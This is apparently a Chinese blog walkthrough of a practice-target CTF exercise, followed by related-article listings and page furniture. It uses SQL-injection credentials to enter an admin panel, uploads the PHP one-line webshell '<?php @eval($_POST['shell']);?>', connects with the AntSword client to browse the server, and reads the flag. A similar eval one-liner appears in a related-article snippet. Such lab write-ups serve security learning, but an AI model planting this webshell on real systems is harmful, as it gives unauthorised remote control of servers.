获取服务器目录

最新推荐文章于 2024-05-28 16:22:37 发布
最新推荐文章于 2024-05-28 16:22:37 发布
阅读量972 收藏 3
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50205723/article/details/108599963
版权

一、进入后台（靶机测试）

通过sql注入得到的账号与密码进入后台
在这里插入图片描述

二、上传文件

1、找到后台内上传文件位置上传一个webshell.php文件其中包含

<?php @eval($_POST['shell']);?>
在这里插入图片描述

2、找到网站前台页面点击文件

在这里插入图片描述在这里插入图片描述选择你所上传文件点击下载从下载页面获取文件网址

三、通过蚁剑获取服务器目录

1、打开蚁剑点击右键选择添加数据

在这里插入图片描述

2、将获得的文件网址放进第一行密码填入shell

3、点击保存

双击网址即可进入服务器目录
在这里插入图片描述

四、寻找flag

进入根目录点击flag文件
在这里插入图片描述

完成

糟糕,世界
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
如何批量提取服务器中的文件夹路径,将一个文件夹里全部的文件名提取方法，so easy！...
weixin_35849711的博客
08-10 1474
工做中会遇到「将一个文件夹里全部的文件名提取出来，放到 Excel 表格里」这样的问题？好比：浏览器有不少员工的照片，想比对花名册，哪些人的照片缺失文档不一样类型的文件，须要分类统计数量百度管理合同等文档，须要制做一份文档目录腾讯须要制做一份文件的清单，加备注说明技巧……方法既然这么多场景会用到，又有那么多人问，那…是时候出手了！im普通人，只会打开 Excel 表格，而后一个一个的手工输入。而掌...
获取FTP服务器某个目录下的所有文件列表
aCupOfGelato的博客
04-04 3562
定时调用逻辑使用的是PowerJob, 嫌麻烦可以直接使用spring自带的@Scheduled注解.最近的一个需求为扫描FTP文件夹下的所有文件用于前端下载, 要求多层文件夹内的文件也能被扫到.调用完后, fileList中就有指定目录下的所有文件名。
下载、安装和使用网站控制工具——中国蚁剑
北冥同学的成长记录笔记
06-21 2772
中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。通俗的讲：中国蚁剑是 一 款比菜刀还牛的shell控制端软件。因此，作为网络安全人员，对于中国蚁剑这个工具的使用是必须掌握的。
BUUCTF-WEB3
最新发布
lin__ying的博客
05-28 239
一句话木马eval($_POST["Syc"]);
c 获取服务器文件目录结构,查看云服务器目录结构
weixin_29489791的博客
08-06 272
查看云服务器目录结构 内容精选换一换云耀云服务器默认设置的时区，是您制作镜像时选择的时区。如需修改，请参见本节内容，将其更改为所需的本地时间或网络中的其他时区。云耀云服务器登录成功后，如果发现云耀云服务器系统时间与本地时间不一致，建议更改时区，将云耀云服务器系统时间与本地时间进行同步。所有区域的云耀云服务器默认时区为东八区。您可以参考本节操作，将其更改为所需的本地时间或网络弹性云服务器默认设置的时...
蚁剑软件的配置与应用
weixin_45711977的博客
10-27 7373
中国蚁剑
struts2获取服务器临时目录的方法
08-29
总的来说，Struts2提供的`ServletActionContext`工具类使得获取服务器临时目录变得简单，这对于处理文件上传、下载等涉及到临时存储的场景非常有帮助。开发者应确保在使用完临时目录中的文件后，及时清理以释放资源...
获取文件目录
11-16
在IT行业中，获取文件目录是一项基础且重要的任务，特别是在文件管理、数据操作和系统集成等场景下。这个任务通常涉及到编程语言中的文件I/O（输入/输出）操作，特别是文件和目录的遍历。让我们详细探讨一下这个主题...
Asp.net获取服务器指定文件夹目录文件并提供下载的方法
01-02
本文实例讲述了Asp.net获取服务器指定文件夹目录文件并提供下载的方法。分享给大家供大家参考。具体实现方法如下： 代码如下:string dirPath = HttpContext.Current.Server.MapPath(“uploads/”); if (Directory....
获取文件目录.rar
07-16
对于更复杂的场景，如在Web开发中获取服务器上的文件目录，我们需要结合HTTP服务器框架。在Node.js的Express中，可以使用`express.static()`中间件提供静态文件服务，并结合`fs`模块获取目录。在PHP中，`scandir()`...
服务器上运行时的文件路径,服务器中查看文件目录命令教程详解（图文）
weixin_34308696的博客
07-31 5816
导读：对于windows系统来说，cmd命令是非常的实用的，比如我们常说的ping命令就是cmd命令的一种，通过ping命令能有效的检查本地到目标网络通畅情况，又比如tracert路由追踪命令，通过路由追踪，能清楚知道本地到达目标经过了多少节点，在什么节点出现故障等等，以……对于windows系统来说，cmd命令是非常的实用的，比如我们常说的ping命令就是cmd命令的一种，通过ping命令能有效...
查看服务器端目录和文件
管子（zero）的杂乱空间
11-19 1991
<!--google_ad_client = "pub-4490194096475053";/* 内容页,300x250,第一屏 */google_ad_slot = "3685991503";google_ad_width = 300;google_ad_height = 250;//--><script type="text/javascript"src="
爬取网站目录工具githack
m0_52663093的博客
01-21 2019
一 git hack 下载地址： GIT：https://github.com/lijiejie/GitHack git hack介绍： a GitHack是一个.git泄露利用测试脚本，通过泄露的文件，还原重建工程源代码。 b 设置环境变量： 装上Python2，然后把Python2目录添加到环境变量 右键计算机-属性-高级系统设置 c 然后执行命令D:\Python27\python.exeD:\Users\cxt\Downloads\GitHack-master\GitHack...
爬虫运行成功但没数据_我整来了几台服务器，就是为了给你演示一下分布式爬虫的整个过程...
weixin_39923806的博客
11-28 464
一般情况下scrapy是这样的可以看到1、调度器 Scheduler 会调度 Requests 队列中的请求2、然后将每个请求交给下载器 Downloader 下载3、这时候就会得到相应的 item 数据交给 item Pipeline 处理如果我们希望有多个爬虫来爬取一个网站的数据那么我们的请求队列就要共享而不能说都是 Request 队列要不然爬到的数据就都乱套了所以我们需要一个共享的队列就...
python爬取服务器目录_通过Python服务目录
culuo8053的博客
07-29 363
python爬取服务器目录Sometimes I'm working with a test HTML file and some JavaScript but need to work off of a served space. In that case, I sometimes need to swap out folders within MAMP Stack which leads t...
ubuntu下linux:curl使用ftp获取服务器上指定目录的所有文件集合以及下载
weixin_42233791的博客
05-23 2055
curl使用ftp获取服务器上指定目录的所有文件集合以及下载 直接编译可用，注意修改测试main函数内的字符串，注释我觉得写的挺详细了，跑不起来的评论区可问 头文件 #ifndef FTP_DOWNLOAD_H #define FTP_DOWNLOAD_H #include <iostream> #include <functional> #include <memory> #include <vector> #include<cstdlib> #
中国蚁剑安装和使用教程（GOOD）
weixin_74245209的博客
11-30 2028
可以看到这是最高权限system相当于Linux中的root。官方加载器：（加载器分为Mac、Windows、Linux）在运行AntSword .exe。里面有一些好用的插件，大家自己去看。蚁剑的大名想必各位都听过今天来安装配置。可以上传，修改或删除。可以右键建个快捷方式。添加webshell地址和密码。2.添加webshell。第一个箭头单点进入终端。
获取服务器的文件路径 --简洁有效
胡萧徒的博客
12-30 9890
就想操作服务器上的文件,看了千言万语. 最终就这一句最有效: //项目磁盘路径 String realPath = request.getSession().getServletContext().getRealPath("/"); webapp下的文件也会自动部署到此目录下.  ...
获取服务器根目录
05-25
获取服务器根目录的方法取决于你使用的操作系统和服务器软件。在大多数情况下，服务器根目录通常是在服务器配置文件中定义的。 例如，在 Apache Web 服务器中，根目录通常定义在 httpd.conf 文件的 DocumentRoot ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值